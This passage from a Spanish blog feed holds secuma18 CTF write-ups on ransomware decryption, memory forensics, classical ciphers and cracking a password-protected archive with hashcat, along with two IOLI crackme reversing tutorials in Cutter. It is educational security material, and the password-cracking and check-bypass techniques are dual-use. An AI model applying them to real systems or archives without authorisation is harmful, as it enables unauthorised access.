google nos lleva a un ransomware llamado jigsaw, el cual tiene un mensaje de
estafa muy parecido al que tenemos en el reto:</p>
<p><img src="/img/secuma18/f1-jigsaw-ransom.png" alt="jigsaw ransom"></p>
<p>Tras buscar si existe un decryptor gratuito para este ransom, me tope con el
siguiente:</p>
<p><a href="https://www.bleepingcomputer.com/download/jigsaw-decrypter/">jigsaw-decrypter</a></p>
<p>El cual también esta recomendado por INCIBE.</p>
<p>Cargamos el archivo fun y el decryptor en una maquina virtual para realizar
la extracción:</p>
<p><img src="/img/secuma18/f1-vm1.png" alt="load de jigsaw"></p>
<p>Ejecutamos el decryptor sobre la carpeta donde tenemos el archivo fun:</p>
<p><img src="/img/secuma18/f1-vm2.png" alt="decrypt de jigsaw"></p>
<p>Tras realizar el decrypt del archivo fun, podemos ver claramente la flag:</p>
<p><img src="/img/secuma18/f1-flag.png" alt="flag de jigsaw"></p>
<p><strong>secuma18{D3scifr4ndo_4ndo}</strong></p>
<h3 id="rummage-300pts">Rummage (300pts)</h3>
<p>Tras una incidencia de seguridad sucedida en Allsafe Cybersecurity hemos
detectado que hay comportamientos anómalos en algunos ordenadores. Después
de una ardua investigación, los forenses se han hecho con una copia de la
memoria RAM de uno de ellos para finalmente llegar a la conclusión de que el
culpable se encuentra tras el <strong>registro</strong> de la configuración del usuario.
¿Crees que podrás encontrarlo?</p>
<hr>
<p>Tras descargar el archivo
<a href="https://mega.nz/#!1okE0SSL!UbiMVRAk54McAW_SxgMCrQG5G00HeUl0DOb6YR-SAt8">Rummage .7z</a>
y descomprimirlo, tendremos el archivo Rummage.raw. Sabemos por la
descripción del reto que tenemos entre manos un archivo de volcado de
memoria, por lo que comenzamos a identificar la versión del sistema
operativo con volatility:</p>
<p><img src="/img/secuma18/f2-imageinfo.png" alt="imageinfo de rummage"></p>
<p>Como podemos ver por la identificación del perfil, debemos tener entre manos
un Win7 x86 con SP1. Sabemos de antemano que estaremos trabajando con
registros, por lo que iniciamos por hacer el dump a archivo de todos los
archivos de registros de la imagen:</p>
<p><img src="/img/secuma18/f2-dumpregister.png" alt="dumpregistry de rummage"></p>
<p>Ahora si procesamos los registros con hivexml en un for, podemos grepear
strings de interés, como <strong>secuma</strong>:</p>
<p><img src="/img/secuma18/f2-flag.png" alt="flag de rummage"></p>
<p>Bingo, hemos encontrado la flag dentro de los registros:</p>
<p><strong>secuma18{Tyr3ll_W3llick!!}</strong></p>
<h2 id="crypto">Crypto</h2>
<h3 id="cl4s1c-p4r4n01d-150pts">Cl4s1c P4r4n01d (150pts)</h3>
<p>&ldquo;Tenemos que ayudar a la agente DiPierro, ha conseguido interceptar 3
mensajes de algunos usuarios, pero cada uno usa un cifrado distinto. ¿Puedes
ayudarla? Se encontró un texto sin cifrar que decía: La union es la clave.&rdquo;</p>
<p>BAnkS: ONSWG5LNMEYTQ62BIJ2WO===</p>
<p>irVInG: Cf_V3j3eDhah_n</p>
<p>ROboT: _K1qryi3}</p>
<hr>
<p>Para este reto, tenemos 3 partes y una llave. Cada texto cifrado viene
acompañado de un nombre extraño: BAnkS, irVInG, ROboT&hellip;</p>
<p>Si tomamos las mayúsculas de estas palabras tenemos:
BAS, VIG, ROT.</p>
<p>Estando un poco mas familiarizados con algoritmos de criptográfica clásicos
(tal como el nombre del reto lo indica), podemos relacionar dichas palabras
a BASE, Vigenère y rotation.</p>
<p>El primero se trata de un tipo de encoding, el cual siendo puras mayúsculas
me llamo la atención, puesto que el encoding mas famoso, base64, hace uso de
mayúsculas y minúsculas para la representación de datos. Esto me llevo a
probar al hermano menor, base32:</p>
<p><img src="/img/secuma18/c1-base32.png" alt="base32 de classic"></p>
<p>Excelente, ya tenemos la primera parte, <em>secuma18{ABug</em>.</p>
<p>El siguiente, que se trata de un Vigenère, requiere de una llave, aquí es
cuando la palabra &ldquo;union&rdquo; entra en juego (la union es la clave)</p>
<p><img src="/img/secuma18/c1-vg.png" alt="vigenere de classic"></p>
<p>Aunque el output no es claramente visible, realizando los ajustes de
mayusculas minusculas y agregando caracteres numeros y de signos tenemos
<em>Is_N3v3rJust_a</em></p>
<p>El ultimo bloque de rotación fue el que más me costo trabajo, ya que rot
tiene varias presentaciones, tenemos rot13 que es el mas conocido, pero
también tenemos rot18, rot5, rot47, cada uno con sus características y los
signos incluidos en las rotaciones. El primer delimitador fue &ldquo;}&rdquo; y &ldquo;_&rdquo;, ya
que la rotación no los debía incluir, pues forman parte de la flag, ahora
solo quedaban los números, mayúsculas y minúsculas. Al probarlo ningún
mensaje entendible sobresalió, pero al intentar con rot24:</p>
<p><img src="/img/secuma18/c1-rot24.png" alt="rot24 de classic"></p>
<p>La ultima parte es <em>_M1stak3}</em>, por lo que uniendo todo tenemos:</p>
<p><strong>secuma18{ABugIs_N3v3rJust_a_M1stak3}</strong></p>
<h3 id="fucks0ci3ty-300pts">Fucks0ci3ty (300pts)</h3>
<p><img src="/img/secuma18/c2-Darlene.jpg" alt="Darlene"></p>
<p>I think she has to be the key to all this&hellip;</p>
<hr>
<p>Nos entregan un archivo llamado &ldquo;thisnotasecret.txt&rdquo; con contenido encodeado
en base64, al pasarlo a base64 a un archivo tenemos un file tipo openssl
cifrado con una pass con salt.</p>
<p><img src="/img/secuma18/c2-file.png" alt="file de Fucks0ci3ty"></p>
<p>Tras revisar arduamente el archivo imagen de Darlene, no encontré ninguna
prueba o evidencia que me indique que algún tipo de llave se encontraba
dentro del archivo, por lo que literal empece a usar el nombre del archivo
Darlene y darlene para tratar de romper el archivo cifrado.</p>
<p>Para ello, trate de ser mas amplio (gracias al hit del autor) y no solo usar
AES, que es el cipher mas utilizado para cifrar documentos, sino aplicarle a
todos. Para esta tarea cree rápidamente un for para usar todos los
parámetros posibles de ciphers y este fue el resultado:</p>
<p><img src="/img/secuma18/c2-flag.png" alt="file de Fucks0ci3ty"></p>
<p><strong>secuma18{N0b0dY_MaKe_R00tk1ts_L1K3_m3}</strong></p>
<h2 id="networking">Networking</h2>
<h3 id="botnet-50pts">Botnet (50pts)</h3>
<p>Uno de nuestros sensores IDS ha detectado tráfico anómalo en las redes de
Allsafe Cybersecurity. Tras un análisis exhaustivo de los logs, el equipo de
forense se ha dado cuenta de que nuestro router forma parte de una famosa
botnet y que el vector de infección final viene determinado por un
downloader que hace unas peticiones para descargarse el cliente y poder
comunicarse con el C&amp;C con la clave secreta dentro del fichero descargado.</p>
<p>En esta misión necesitamos encontrar el fichero para poder continuar con las
investigaciones y denunciarlo ante las autoridades pertinentes.</p>
<hr>
<p>Uno de los retos de mayor puntaje y tal vez una de mis categorías favoritas.
Iniciamos descargando el pcapng.</p>
<p><img src="/img/secuma18/n1-capinfos.png" alt="capinfos de botnet"></p>
<p>Empezamos por tomar información sobre el pcapng que tenemos, el cual nos da
algunas de sus características de como fue capturado y que capturo. Tenemos
350 paquetes.</p>
<p><img src="/img/secuma18/n1-udp.png" alt="udp de botnet"></p>
<p>Comenzamos por analizar si tenemos trafico extraño sobre UDP, de manera
resumida tenemos que no.</p>
<p><img src="/img/secuma18/n1-icmp.png" alt="icmp de botnet"></p>
<p>Replicamos el mismo procedimiento sobre el trafico ICMP, no encontrando
rastros de data extraña o anormal.</p>
<p><img src="/img/secuma18/n1-http.png" alt="trafico http de botnet"></p>
<p>Sobre el trafico http, el primer paquete se ve sospechoso, ya que el archivo
7z que descarga, tiene el nombre de una botnet muy famosa, <em>mirai</em>.</p>
<p><img src="/img/secuma18/n1-http1.png" alt="detalle del p1 de http de botnet"></p>
<p>Al analizar el contenido de este primer paquete filtrado, tenemos el host y
el path por lo que podemos replicar lo que la maquina infectada estuvo
realizando.</p>
<p><img src="/img/secuma18/n1-wget.png" alt="wget de botnet"></p>
<p>Descargamos el archivo.</p>
<p><img src="/img/secuma18/n1-7z1.png" alt="7z fallido de mirai botnet"></p>
<p>Tras intentar descomprimirlo, nos topamos con que esta protegido por
contraseña. Intentemos romper esta contraseña, con suerte y esta en un
diccionario.</p>
<p><img src="/img/secuma18/n1-7z-hash.png" alt="generacion de hash de 7z de botnet"></p>
<p>Generamos el hash con el script de perl 7z2hashcat.</p>
<p><img src="/img/secuma18/n1-hashcat.png" alt="hashcat del mirai botnet"></p>
<p>Ingresamos el hash sobre hascat con las opciones indicadas en la
documentacion de 7z2hashcat, como pueden ver en mi caso ya la rompi, por lo
que me fui directo al show.</p>
<p><img src="/img/secuma18/n1-7z2.png" alt="extraccion exitosa de botnet"></p>
<p>Extraemos el archivo flag.txt de mirai.7z</p>
<p><img src="/img/secuma18/n1-flag.png" alt="flag de botnet"></p>
<p>Hemos conseguido la ultima flag de esta entrada. Como nota, el flag no esta
en utf-8, ojo.</p>
<p><strong>secuma18{3vil_C0rp¡!}</strong></p>
<h2 id="agradecimientos">Agradecimientos</h2>
<p>Quiero agradecer a los organizadores de este evento por permitir que
personas externas podamos participar. Gracias por hacer una mejor comunidad.</p>
]]></content></item><item><title>Reversing de IOLI Crackmes con Cutter - Crackme0x04</title><link>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x04/</link><pubDate>Mon, 29 Oct 2018 11:12:38 -0600</pubDate><guid>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x04/</guid><description>&lt;p&gt;El día de hoy toca resolver el 5to crackme de IOLI, el cual consta de dos funciones para realizar las comparaciones y en cada una realiza un tipo de conversión y comparación muy interesante, comencemos&lt;/p&gt;</description><content type="html"><![CDATA[<p>El día de hoy toca resolver el 5to crackme de IOLI, el cual consta de dos funciones para realizar las comparaciones y en cada una realiza un tipo de conversión y comparación muy interesante, comencemos</p>
<h2 id="footprint">Footprint</h2>
<p>Comenzamos como hemos resuelto otros crackmes, por realizar un file, un ldd y un readelf:</p>
<p><img src="/img/cutter05/initial.png" alt="Initial info about crackme0x04"></p>
<p>Podemos observar que la mayoría de la información que se ha presentado en otros crackmes se mantiene, así que por este momento el preCutter se detiene aquí.</p>
<p>Cargamos el binario en Cuttter:</p>
<p><img src="/img/cutter05/load.png" alt="Load on Cutter"></p>
<p>Y como en otros ejercicios, veamos si el dashboard nos ayuda con alguna otra información adicional:</p>
<p><img src="/img/cutter05/dashboard.png" alt="Dashboard"></p>
<p>Como podemos observar y si recordamos otros ejercicios, parece que has sido construido de la misma manera que los demás crackmes, así que hasta aquí llegamos en esta sección.</p>
<h2 id="entrypoints">Entrypoints</h2>
<p>Ahora toca el turno de analizar el entry point que vimos con readelf, el cual era 0x080483d0, veamos que dice Cutter al respecto:</p>
<p><img src="/img/cutter05/entrypoints.png" alt="Entry Points"></p>
<p>La información coincide y es mas, podemos ver también la llamada de entry0 que tenemos para este entry point dentro de las funciones.</p>
<h2 id="strings">Strings</h2>
<p>Veamos si en los strings podemos encontrar algún indicio diferente o la variación entre este crackme y los anteriores:</p>
<p><img src="/img/cutter05/strings.png" alt="Strings"></p>
<p>Con esta captura, concluimos que los strings no son de mucha ayuda en este crackme.</p>
<h2 id="imports">Imports</h2>
<p>Pasemos ahora a las funciones que se importan de este crackme:</p>
<p><img src="/img/cutter05/imports.png" alt="Imports"></p>
<p>Como podemos observar, tenemos una nueva función, la cual se llama sscanf, también marcada como insegura (explotable) junto con strlen y scanf.</p>
<h3 id="sscanf">SSCANF</h3>
<p>Como podemos también observar <a href="https://www.tutorialspoint.com/c_standard_library/c_function_sscanf.htm">aquí</a> sscanf es una función que lee la información de un string y la procesa en un formato especifico que puede ser de varios tipos. También retorna un valor, el cual es el numero de de variables que pudo asignar con los valores del formato y el string de entrada.</p>
<p>El ejemplo propuesto por el enlace es el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;string.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span> () {
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">int</span> day, year;
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">char</span> weekday[<span style="color:#ae81ff">20</span>], month[<span style="color:#ae81ff">20</span>], dtm[<span style="color:#ae81ff">100</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">strcpy</span>( dtm, <span style="color:#e6db74">&#34;Saturday March 25 1989&#34;</span> );
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">sscanf</span>( dtm, <span style="color:#e6db74">&#34;%s %s %d  %d&#34;</span>, weekday, month, <span style="color:#f92672">&amp;</span>day, <span style="color:#f92672">&amp;</span>year );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s %d, %d = %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, month, day, year, weekday );
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">return</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>En este ejemplo dtm se inicializa con el string origen, después sscanf lo procesa tomando como parámetros el string origen, el formato y las variables donde depositara lo que se procese entre formato y string origen. Un punto importante, es que los argumentos son las ubicaciones en memoria donde esta el espacio del valor.</p>
<h2 id="functions">Functions</h2>
<p>En la sección de funciones encontraremos las que ya analizamos están importadas via libc, y adicionalmente observaremos que aparte de main, tenemos una función llamada check.</p>
<p><img src="/img/cutter05/functions.png" alt="Functions"></p>
<p>Continuemos con el disassembly de este binario:</p>
<h2 id="disassembly">Disassembly</h2>
<h3 id="función-main">Función main</h3>
<p>Al ser el main el glue de todo el programa, iniciamos por esta función, la cual tiene el siguiente código:</p>
<p><img src="/img/cutter05/main.png" alt="Main"></p>
<p>Para agilizar las explicaciones y retenerlas, estaré agregando comentarios a todos las imágenes conforme vamos analizando el código.</p>
<blockquote>
<p>HIT: &ldquo;;&rdquo; para agregar comentarios</p>
</blockquote>
<p>Empezamos por la primera parte, salvar el punto de retorno y realizar el stack frame:</p>
<p><img src="/img/cutter05/dis1.png" alt="dis1"></p>
<p>Esta parte la hemos platicado con anterioridad, básicamente definimos el espacio donde nuestras dos variables estarán trabajando (local_78h y local_4h) las cuales radare2 nos indica se tratan de variables tipo enteras.</p>
<p><img src="/img/cutter05/dis2.png" alt="dis2"></p>
<p>La siguiente parte también ya hemos visto que se repite en estos crackmes, se trata de subir al ESP la dirección del string que se encuentra en .rodata y después llamar a la función printf que se encargara de mostrar el string en pantalla durante la ejecución.</p>
<p><img src="/img/cutter05/dis3.png" alt="dis3"></p>
<p>La siguiente parte se trata del scanf que también hemos resulto ya. Este recibe dos argumentos, el primero es el formato en que manejara la información entregada desde el input y la segunda la dirección en memoria donde almacenara la información. El primer argumento se trata nada mas y nada menos que de &ldquo;%s&rdquo; que es usado para manera strings. La segunda parte por otro lado se trata de la dirección de local_78h, la cual se guarda en ESP-0x4 justo después de &ldquo;%s&rdquo;.</p>
<p><img src="/img/cutter05/dis4.png" alt="dis4"></p>
<p>La siguiente parte carga la dirección donde se almaceno el string que ya guardamos en EAX, para posteriormente subirlo al ESP, de esta manera la función check podrá usar el string para realizar alguna operación.</p>
<p><img src="/img/cutter05/dis5.png" alt="dis5"></p>
<p>Finalmente parece que check es tipo void, porque no nos interesa si nos devuelve algo en EAX, por lo que la siguiente parte de instrucción hace alusión a un <em>return 0</em></p>
<p>Si tuviera que escribir el código en C para estas instrucciones, quedaría de la siguiente manera:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">char</span> input[<span style="color:#ae81ff">120</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;IOLI Crackme Level 0x04</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Password: &#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">&#34;%s&#34;</span>, input);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">check</span>(input);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>La función main completa con comentarios es la siguiente:</p>
<p><img src="/img/cutter05/dis10.png" alt="dis10"></p>
<p>Analicemos ahora la función check que recibió nuestro string.</p>
<h3 id="función-check">Función check</h3>
<p>El vistaso general a la función queda de la siguiente manera:</p>
<p><img src="/img/cutter05/check.png" alt="Check"></p>
<p>Como podemos empezar a ver, por ahí debe haber algún tipo de loop o if que este causando los <em>jmp</em>. Pero primero lo primero:</p>
<p><img src="/img/cutter05/dis11.png" alt="dis11"></p>
<p>Al comenzar a analizar las instrucciones lo primero que nos percatamos es que tenemos 6 variables y 1 argumento. Si, el mismo string que ya tomamos vía scanf es uno de los parámetros.</p>
<p>Stack Frame y salvar EBP de esta función, eso es lo que tenemos en la primera parte. Continuemos:</p>
<p><img src="/img/cutter05/dis12.png" alt="dis12"></p>
<p>Interesante, tenemos una asignación a 0 de variables, local_8h y local_ch que se encuentran particularmente juntas. Veamos para que son usadas antes de renombrarlas.</p>
<p><img src="/img/cutter05/dis13.png" alt="dis13"></p>
<p>El siguiente bloque de instrucciones vemos que es un retorno de algún jump, y realiza unas instrucciones que ya vimos en el ejercicio anterior; obtener la longitud del parámetro input (tipo string). Recordemos que esta función retorna su valor que es un entero sin signo, en EAX.</p>
<p><img src="/img/cutter05/dis14.png" alt="dis14"></p>
<p>La siguiente instrucción después de conseguir la longitud del texto es compararlo con local_ch&hellip; esto vimos que se aplico en el ejercicio anterior, por lo que visitemos rápidamente el final del loop para identificar si tenemos un incremento antes de retornar&hellip; donde efectivamente encontramos <em>lea eax,local_ch</em> y <em>inc eax</em>, lo que definitivamente nos indica que es un loop, inclusive me atrevo a decir que es parecido al loop del crackme anterior. Eso significa que local_ch debe ser el contador de este for. Renombremos la primera variables</p>
<blockquote>
<p>HIT: &ldquo;shift + n&rdquo; para renombrar variables</p>
</blockquote>
<p>Continuemos en el paso por paso:</p>
<p><img src="/img/cutter05/dis15.png" alt="dis15"></p>
<p>Esta parte es parecida al crackme anterior, lo que sucede es que guardamos el valor del counter, ejemplo 0, sobre EAX. Continuamos por sumar 0 + la ubicación del string, es decir, EBP+0x8, guardando el valor final en EAX. De esta manera conforme el counter avance, estaría haciendo EBP+0x9, EBP+0x10, etc. hasta acabar con el string (antes de llegar a null).</p>
<p>Las siguientes dos instrucciones <em>movzv eax, dword[s]</em>  y <em>mov byte[local_dh], al</em>, se encargan de extraer el byte <em>n</em> del string, osea el carácter tipo s[i] y almacenarlo en el char local_dh (EBP-0xd).</p>
<p><img src="/img/cutter05/dis16.png" alt="dis16"></p>
<p>Nuestro siguiente bloque de instrucciones, es básicamente la preparación y llamada a sscanf. Iniciamos por guardar la dirección de EBP-0x4 en EAX, para después guardarla en ESP+0x8 (3er parámetro). Continuamos por mover el string &ldquo;%d&rdquo; a ESP+0x4 (2do parámetro) y finalmente subimos s[i] en el ESP (1er parámetro).</p>
<p>Nuestra llamada a la función sscanf queda de la siguiente manera: sscanf(s[0], &ldquo;%d&rdquo;, &amp;valor_entero)</p>
<p>Ahora que sabemos un poco más para que se usan las variables local_dh, local_4h y local_8h_2, renombremos las para no olvidar que hacen:</p>
<p><img src="/img/cutter05/dis17.png" alt="dis17"></p>
<p>Continuemos con el siguiente bloque de instrucciones:</p>
<p><img src="/img/cutter05/dis18.png" alt="dis18"></p>
<p>Iniciamos por salvar en EDX el valor entero del carácter <em>n</em> del string que estamos checando. Luego guardamos la dirección en memoria de EBP-0x8 (recordemos que al inicio le dimos el valor de 0) en EAX. Luego sumamos el valor de EBP-0x8 con el valor entero, salvando el resultado en EBP-0x8. Esto significa que si EBP-0x8 valia 0, ahora valdrá el valor_entero.</p>
<p>Si repito el loop, el EBP-0x8 sera igual a la suma total de cuantos caracteres tenga el string. Renombremos EBP-0x8 como total.</p>
<p>Finalmente, comparo el valor de EBP-0x8 con 0xf (15)&hellip; veamos caso falso que no es igual (not jump)</p>
<p><img src="/img/cutter05/dis19.png" alt="dis19"></p>
<p>Si el valor total es igual a 15, entonces imprimo &ldquo;Password OK!\n&rdquo; y termino de manera exitosa el programa con un exit 0.</p>
<p><img src="/img/cutter05/dis21.png" alt="dis21"></p>
<p>Si el valor total no es 15 (caso donde si brinco), incremento el contador y regreso al inicio del loop para volver a ejecutar todo.</p>
<p><img src="/img/cutter05/dis22.png" alt="dis22"></p>
<p>Finalmente si ni una vez logre sumar 15 y ya se me acabaron las letras en el string, brinco fuera del loop y retorno a main.</p>
<p>Si tuviera que reescribir lo que entendí de estas instrucciones en lenguaje C, seria como el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">check</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>s)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> total<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>, counter, valor;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span>(counter<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;counter<span style="color:#f92672">&lt;</span><span style="color:#a6e22e">strlen</span>(s);counter<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">sscanf</span>(s[counter], <span style="color:#e6db74">&#34;%d&#34;</span>, <span style="color:#f92672">&amp;</span>valor);
</span></span><span style="display:flex;"><span>    total <span style="color:#f92672">+=</span> valor;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (valor <span style="color:#f92672">==</span> <span style="color:#ae81ff">15</span>)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Password OK!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Password Incorrect!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Toda la función check queda de la siguiente manera:</p>
<p><img src="/img/cutter05/dis20.png" alt="dis20"></p>
<h2 id="grafico">Grafico</h2>
<h3 id="función-main-1">Función main</h3>
<p><img src="/img/cutter05/graph-main.png" alt="Graph de Main"></p>
<h3 id="función-check-1">Función check</h3>
<p><img src="/img/cutter05/graph-check.png" alt="Graph de Check"></p>
<h2 id="validación">Validación</h2>
<p>Como la información que analizamos de este binario, concluimos que no hay una única respuesta, sino varias. La condición es que los números en serie que ingresemos puedan sumar 15 exacto, es decir, números como 12345 y 555 son validos. Números como 5542 no porque suman 16, pero números como 5555 o 123456789 si porque los primeros números suman 15.</p>
<p>Validemos:</p>
<p><img src="/img/cutter05/validacion.png" alt="Validación"></p>
<p>Excelente! Hemos resuelto el quinto crackme de IOLI.</p>
<hr>
<p>Bueno eso ha sido todo de momento, espero que les haya gustado.
Saludos,</p>]]></content></item><item><title>Reversing de IOLI Crackmes con Cutter - Crackme0x03</title><link>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x03/</link><pubDate>Sun, 28 Oct 2018 20:57:33 -0600</pubDate><guid>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x03/</guid><description>&lt;p&gt;Hoy toca el 4to crackme de IOLI, el cual nos presenta un reto muy parecido al anterior crackme0x02 solo que usando funciones como veremos más adelante.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Hoy toca el 4to crackme de IOLI, el cual nos presenta un reto muy parecido al anterior crackme0x02 solo que usando funciones como veremos más adelante.</p>
<h2 id="footprint">Footprint</h2>
<p>Comenzamos por obtener información sobre el crackme, siguiendo el mismo proceso con la finalidad de identificar algún cambio sobre lo hecho anteriormente en otros crackmes.</p>
<p><img src="/img/cutter04/initial.png" alt="Initial info about crackme0x03"></p>
<p>Nuevamente tenemos otro ELF32 muy parecido a los anteriores.</p>
<p>Carguemos el archivo directo a Cutter con los valores de análisis por defecto:</p>
<p><img src="/img/cutter04/load.png" alt="Loading crackme on Cutter"></p>
<p>En el dashboardno vemos mucha diferencia sobre los retos anteriores:</p>
<p><img src="/img/cutter04/dashboard.png" alt="Dashboard de crackme0x03"></p>
<h2 id="entrypoints">Entrypoints</h2>
<p>Comenzamos por analizar todos los entry points de este ejecutable:</p>
<p><img src="/img/cutter04/entrypoint.png" alt="Entry Point de crackme0x03"></p>
<p>Como podemos ver, el programa unicamente cuenta con un entrypoint, <strong>0x8048360</strong>.</p>
<h2 id="strings">Strings</h2>
<p>Los strings dentro de este ejecutable son (ojo con la dirección):</p>
<p><img src="/img/cutter04/strings.png" alt="Strings de crackme0x03"></p>
<p>Sobre salen los strings:</p>
<p><img src="/img/cutter04/strings2.png" alt="Strings largos de crackme0x03"></p>
<p>Estos mantienen cierta longitud sobre los demás datos que se traducen. También sobre sale por su proximidad con los strings conocidos (.rodata). Veamos como son usados mas adelante.</p>
<h2 id="imports">Imports</h2>
<p>En la sección de imports, veremos que nuevamente llamamos a nuestras funciones de costumbre, mas una adicional strlen:</p>
<p><img src="/img/cutter04/imports.png" alt="Imports de crackme0x03"></p>
<blockquote>
<p>Se nos advierte que tanto la función scanf, como strlen son funciones inseguras.</p>
</blockquote>
<h2 id="functions">Functions</h2>
<p>Ahora toca revisar las funciones que tenemos en nuestro programa, las cuales son las siguientes:</p>
<p><img src="/img/cutter04/functions.png" alt="Funciones de crackme0x03"></p>
<p>Tenemos ahora una variación con los retos anteriores, tenemos no solo sym.main y las importadas, sino ahora tenemos a sym.shift y sym.test</p>
<p>También dentro de las importadas tenemos ahora a sym.imp.strlen.</p>
<h2 id="disassembly">Disassembly</h2>
<h3 id="función-main">Función main</h3>
<p>Comencemos a realizar el análisis estático para conocer que sucede dentro de este programa. Comenzemos por la funcion principal, main:</p>
<p><img src="/img/cutter04/dis1.png" alt="Disassembly de crackme0x03"></p>
<blockquote>
<p>Trate de reducir un poco el tamaño de la letra para que fuera visible toda la función main.</p>
</blockquote>
<p>Como vemos es bastante similar al reto anterior, solo que ya no tenemos la parte comparativa y en su lugar tenemos una llamada a la función test. Llegaremos a esto después de entender la primera parte.</p>
<p>Aplicando la misma metodología que hemos manejado:</p>
<p><img src="/img/cutter04/dis2.png" alt="Stack Frame de crackme0x03"></p>
<p>Primero tenemos el stack frame, que como hemos visto antes nos ayuda a separar lo que las variables locales usaran posteriormente.</p>
<p><img src="/img/cutter04/dis3.png" alt="Welcome de crackme0x03"></p>
<p>Continuamos con la primera llamada a printf, el cual recibe de parámetro el string &ldquo;IOLI Crackme Level 0x03\n&rdquo;, dando inicio al primer mensaje que vemos en pantalla.</p>
<p><img src="/img/cutter04/dis4.png" alt="Ask for password de crackme0x03"></p>
<p>Continuamos con la segunda llamada a printf, la cual recibe de parámetro el string &ldquo;Password: &ldquo;, manteniendo el cursor sin salto de linea.</p>
<p><img src="/img/cutter04/dis5.png" alt="scanf de crackme0x03"></p>
<p>La siguiente parte toma la variable local_4h y carga su posición en memoria sobre EAX, para después guardar dicho valor en local_4h_2. La siguiente parte carga en el stack pointer el valor de lo ubicado en 0x8048634. Finalmente scanf es llamado en donde usara el valor de la ubicación 0x8048634 y la ubicación en memoria de local_4h.</p>
<p>Traducimos esta referencia para ver que valor tiene el const chr *format.</p>
<blockquote>
<p>Recordemos que para ir a una posición debemos dar dos clicks izq sobre la misma.</p>
</blockquote>
<p><img src="/img/cutter04/integer.png" alt="Integer"></p>
<p><img src="/img/cutter04/scanf-1.png" alt="1er parámetro de scanf"></p>
<p>Ahora sabemos que el valor que reciba se guardara como entero sobre el segundo parámetro.</p>
<p>Como en el crackme anterior, renombraremos los parámetros local_4h y local_4h_2 para que sean mas legibles mas adelante.</p>
<blockquote>
<p>Hotkey: shift + n</p>
</blockquote>
